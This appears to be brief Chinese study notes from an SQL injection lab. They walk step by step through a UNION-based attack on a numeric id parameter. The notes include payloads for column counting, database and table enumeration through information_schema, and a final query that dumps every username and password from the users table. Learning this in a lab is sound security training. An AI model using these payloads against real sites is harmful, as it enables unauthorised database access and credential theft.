注入点判断 ?id=1
字符判断 ?id=1'
字符判断 ?id=1''
单引号和两个单引号都报错,说明是不是字符型,是数字型
数字型快速判断可以用四则运算 ?id=1/0 ?id=1/1
数字型可以不用闭合,即使有括号,后边没有引号之类的东西,不会做强制类型转换
接下来联合查询,首先需要判断列数 ?id=1 order by 5
报错,说明小于4.
?id=1 order by 3
说明有三列,且只显示两列
查询显示位 ?id=-1 union select 1,2,3
只显示2,3 说明显示位是第二列和第三列。
查询当前数据库 ?id=-1 union select 1,database(),3
指明数据库库名,查寻所有表 ?id=-1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()
找到存放用户的表(users), 查询字段 ?id=-1 union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'
查询username和password字段 ?id=-1 union select 1,database(),group_concat(username,":",password) from users